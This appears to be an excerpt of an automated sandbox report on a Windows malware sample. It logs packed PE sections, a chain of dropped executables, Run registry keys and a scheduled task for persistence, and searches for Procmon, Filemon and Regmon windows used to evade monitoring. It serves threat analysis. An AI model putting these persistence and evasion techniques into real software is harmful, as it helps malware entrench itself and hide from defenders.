Source: file.exe	Static PE information: section name: rjghzmyp
Source: file.exe	Static PE information: section name: zpnqiley
Source: file.exe	Static PE information: section name: .taggant
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: section name:
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: section name: .idata
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: section name: kzqschdp
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: section name: ptbfmmvg
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: section name: .taggant
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name:
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name: .idata
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name:
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name: vcnwvfjn
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name: ailsjwpv
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: vcnwvfjn
Source: skotes.exe.4.dr	Static PE information: section name: ailsjwpv
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: rjghzmyp
Source: random[1].exe.8.dr	Static PE information: section name: zpnqiley
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: d816f1d41e.exe.8.dr	Static PE information: section name:
Source: d816f1d41e.exe.8.dr	Static PE information: section name: .idata
Source: d816f1d41e.exe.8.dr	Static PE information: section name: rjghzmyp
Source: d816f1d41e.exe.8.dr	Static PE information: section name: zpnqiley
Source: d816f1d41e.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: yhvanrkb
Source: random[1].exe0.8.dr	Static PE information: section name: owhwljin
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: f324957d91.exe.8.dr	Static PE information: section name:
Source: f324957d91.exe.8.dr	Static PE information: section name: .rsrc
Source: f324957d91.exe.8.dr	Static PE information: section name: .idata
Source: f324957d91.exe.8.dr	Static PE information: section name:
Source: f324957d91.exe.8.dr	Static PE information: section name: yhvanrkb
Source: f324957d91.exe.8.dr	Static PE information: section name: owhwljin
Source: f324957d91.exe.8.dr	Static PE information: section name: .taggant
Source: pdf.exe.9.dr	Static PE information: section name:
Source: pdf.exe.9.dr	Static PE information: section name:
Source: pdf.exe.9.dr	Static PE information: section name:
Source: pdf.exe.9.dr	Static PE information: section name:
Source: pdf.exe.9.dr	Static PE information: section name:
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: section name:
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: section name: .idata
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: section name: kzqschdp
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: section name: ptbfmmvg
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: section name: .taggant
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name:
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name: .idata
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name:
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name: vcnwvfjn
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name: ailsjwpv
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF264 push B8010FCEh; iretd	0_3_010FF269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010FF1F8 push eax; retf	0_3_010FF1F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110FC90 push ecx; ret	0_3_0110FC91

Source: file.exe	Static PE information: section name: entropy: 7.979036878983604
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: section name: entropy: 7.79988242092887
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name: entropy: 7.977663314559466
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name: vcnwvfjn entropy: 7.953933404127372
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.977663314559466
Source: skotes.exe.4.dr	Static PE information: section name: vcnwvfjn entropy: 7.953933404127372
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.979036878983604
Source: d816f1d41e.exe.8.dr	Static PE information: section name: entropy: 7.979036878983604
Source: random[1].exe0.8.dr	Static PE information: section name: yhvanrkb entropy: 7.953026815598935
Source: f324957d91.exe.8.dr	Static PE information: section name: yhvanrkb entropy: 7.953026815598935
Source: pdf.exe.9.dr	Static PE information: section name: entropy: 7.997714729230857
Source: pdf.exe.9.dr	Static PE information: section name: entropy: 7.636228005076095
Source: pdf.exe.9.dr	Static PE information: section name: entropy: 7.9278998086211505
Source: pdf.exe.9.dr	Static PE information: section name: entropy: 7.978359432501147
Source: pdf.exe.9.dr	Static PE information: section name: .data entropy: 7.985452413999655
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: section name: entropy: 7.79988242092887
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name: entropy: 7.977663314559466
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name: vcnwvfjn entropy: 7.953933404127372

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	File created: C:\Lipras\pdf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File created: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002490001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	File created: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Session[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d40e036167.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d816f1d41e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f324957d91.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d816f1d41e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d816f1d41e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f324957d91.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f324957d91.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d40e036167.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d40e036167.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
